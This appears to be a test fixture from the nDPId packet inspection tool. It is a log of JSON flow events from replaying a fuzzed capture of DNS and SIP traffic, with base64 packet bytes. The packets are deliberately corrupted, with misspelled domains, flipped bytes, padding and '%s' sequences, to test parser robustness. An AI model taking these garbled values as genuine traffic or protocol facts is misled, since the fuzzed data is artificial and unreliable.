{"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.dybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":163,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469924,"pkt_ts_usec":456160,"pkt_caplen":92,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AODtAW69qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":163,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":43690} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":164,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1120469924897,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.17","src_port":2736,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469924,"pkt_ts_usec":897763,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIajoAAIARTRfAqAECwKgBEQqwADUANK04fNwBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":164,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1120469924897,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.17","src_port":2736,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":63,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469926,"pkt_ts_usec":899986,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"QDBUADRWAODtAW69CABFAABIaj0AAIARTRTAqAECwKgBAQqwADUANK04fNwBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00466{"flow_id":63,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469930,"pkt_ts_usec":905493,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaj4AAIARTRPAqAECwKgBAQqwADUANK04fNwBAACBAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00717{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":166,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":3,"flow_first_seen":1120469921898,"flow_last_seen":1120469930905,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2736,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":167,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1120469922894,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2684,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":167,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1120469924897,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.17","src_port":2736,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":167,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1120469938907,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2737,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469938,"pkt_ts_usec":907413,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEaj8AAIARTRbAqAECwKgBAQqxADUAMAoxGt0AAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":167,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1120469938907,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2737,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00492{"flow_id":66,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469938,"pkt_ts_usec":908917,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAF8Rtz7AqAEBwKgBAgA1CrEAR+ysGt2AAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAVgwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00675{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":168,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":2,"flow_first_seen":1120469938907,"flow_last_seen":1120469938908,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2737,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":169,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1120469938910,"flow_last_seen":0,"flow_tot_l4_data_len":475,"flow_min_l4_data_len":475,"flow_max_l4_data_len":475,"flow_avg_l4_data_len":475,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.35","src_port":20932,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01033{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469938,"pkt_ts_usec":910409,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"ADBUADRWAODtAW69CABFAAHvakAAAIARFv7AqAEC1PIhI1HEE8QB28mlUkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wMTE0NjM5MDAwLTQ3N2U3NTkxMTkyLjE2OC4xLjI7JXMAcnQNCkZyb206IDxzaXA6dm9pMTgwNjJAc2lwLmN5YmVyY2l0eS5k9T47dGFnPTZkNTQwYTUNClRvOiA8c2lwOnZvaTE4MDYyQHNpcC5jeWJlcmNpdHlzZGs+DQpDYWxuLUlEOiA1NzgyVDI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2MkAxOTIuMTY4LjEuMjo1MDYwO2xpbmU9YWNhNmI5N2NhM2Y1MTUxYT47ZXhwaXJlcx0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANe0NTZXE6IDc0IFLPR0lTVEVSDQpDb250ZUF0LUxlbmd0aDogMA0KTWF4LUZvcglhcmRzOiA3MA0KaXNlci1BZ2VudDogTmVybyBTSVBQUyBJUCBQaG9uZSBWZXJzaW9uIDIuMC41MS4xNl8KDQo="} +00520{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":169,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1120469938910,"flow_last_seen":0,"flow_tot_l4_data_len":475,"flow_min_l4_data_len":475,"flow_max_l4_data_len":475,"flow_avg_l4_data_len":475,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.35","src_port":20932,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +01056{"flow_id":45,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469939,"pkt_ts_usec":47813,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"AODtAW69ADBUADRWCABFAAICAABAADcRiivU8iEjwKgBAhPEE8QB7jgxU0lQLzIuMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiA1NzgyMjI3MjktNDaHNWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA3NCBSRUdJU1RFUg0KRnJvbTogPHNpcDp2b2kxODA2MkBzaXAuY3liZXJjaXR5LmRrPjt0YWc9NmQ1NDBhNQ0KVG86IDxzaXA6dm9pMXcwNjJAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTAwLTA0MDg5LTE3MDFiMjM2LTJiNzIxMTYwNw0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjtyZWNlaXZlZD04MC4yMzAuMjE5LjcwO3Jwb3J0PTUwNjA7YnJhbmNoPXo5aEc0uUtucDExNDYzOTAwMC00NzdlNzU5MTE5Mi4xNjguMS4yDQpXV1ctQXV0aGVudGljYXRlOiBEaWdlc3QgdmVhbG09InNpcC5jeWJlcmPmdHkuZGsiLG5vbmNlPSIxNzAxYjIyOTcyYjkwZjQ0MGMzZTRlYjI1MDg0MmJiIixvcCVzAGU9IjE3MDFhMTM1MWY3MDc5NSIsc3RhbGU9RmFsc2UsYWxnb3JpdGhtPU1ENQ0KQ29udGVudC1MZW5ndGg6IDANCg0K"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":171,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1120469939223,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.84.1","src_port":2738,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469939,"pkt_ts_usec":223693,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIakEAAIARTRDAqAECwKhUAQqyADUANKY1g90BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR1AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":171,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1120469939223,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.84.1","src_port":2738,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercitu.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":172,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1120469940218,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2738,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469940,"pkt_ts_usec":218900,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIakIAAIARTQ\/AqAECwKgBAQqyADUANKY1g90BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":172,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1120469940218,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2738,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":69,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469942,"pkt_ts_usec":221778,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIakMAAIARTQ7AqAECwKgBAQqyADUANKY1g90BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":176,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1120469944224,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2716,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469944,"pkt_ts_usec":224630,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIakQAAIARTQ3AqAECwKgBAQqcADUANKY1g90BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":176,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1120469944224,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2716,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":69,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469948,"pkt_ts_usec":230389,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIakUAAIARTQzAqAECwKgBAQqyADUANKY1g90BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":178,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1120469938910,"flow_last_seen":0,"flow_tot_l4_data_len":475,"flow_min_l4_data_len":475,"flow_max_l4_data_len":475,"flow_avg_l4_data_len":475,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.35","src_port":20932,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":178,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1120469944224,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2716,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":178,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1120469939223,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.84.1","src_port":2738,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":178,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1120469956232,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2739,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469956,"pkt_ts_usec":232437,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEakYAAIARTQ\/AqAECwKgBAQqzADUAMLotat4AAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":178,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1120469956232,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2739,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00492{"flow_id":71,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469956,"pkt_ts_usec":233923,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CrMAR5ypat6AAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00675{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":179,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":2,"flow_first_seen":1120469956232,"flow_last_seen":1120469956233,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2739,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +01317{"flow_id":45,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469956,"pkt_ts_usec":235447,"pkt_caplen":722,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":722,"pkt_l4_len":688,"pkt":"ADBUADRWAODtAW69CABFAALEakcAAIARFiLAqAEC1PIhIxPEE8QCsFdrJXMASVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wMTEyOTAzNTAzLTQzYTY0NDgwMTkyLjE2RS4xLjI7cnBvcnQNCkZyb206IDxzaXA6dm9pMTgwNjJAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTZiYWM1NWMNClRvOiA8c2FwOnZvaTE4MDYyQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyMDQ2NjVkNzcyDQpDb250YWN0OiAgPHNpcDp2b2kxODA2MkAxOTIuMTY4LjEuMjo1MDYwO2xpbmU9YWNhNmI5N2NhM2Y1ZTUxYT47ZXhwaXJlcz0xMjAwO3E9MC41MDANCkV4cGlyZXM6IDEyMDANCkNTZaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00818{"flow_id":45,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120469956,"pkt_ts_usec":380983,"pkt_caplen":348,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":348,"pkt_l4_len":314,"pkt":"AODtAW69ADBUADRWCABFAAFOAABAADcRit\/U8iEjwKgBAhPEE8QBOjsKU0lQLzIuMCCFMDAgVHJ5aW5nDQpDYWxsJ0lEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA3NSBSRXRJU1RFUg0KRnJvbTogPCVzADp2b2kxODA2MkBzaXAuY3liZXJjaXR5LmRrPjt0YWc9NmJhYzU1Yw0KVG86IDxzaXA6dm9pMTgwNjJAc2lwemN5YmVyY2lteS5kaz4NClZpaDogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7cmVjZWl2ZWQ9ODAuMiVzADIxOS43MDtycG9ydD01MDYwO2JyYW5jaD16OWhHNGJLbnAxMTI5MDM1MDMtNDNhNjQ0ODAxOTIuMTY4LjEuMg0KQ29udGVudC1MZW5ndGg6IDANCg0K"} 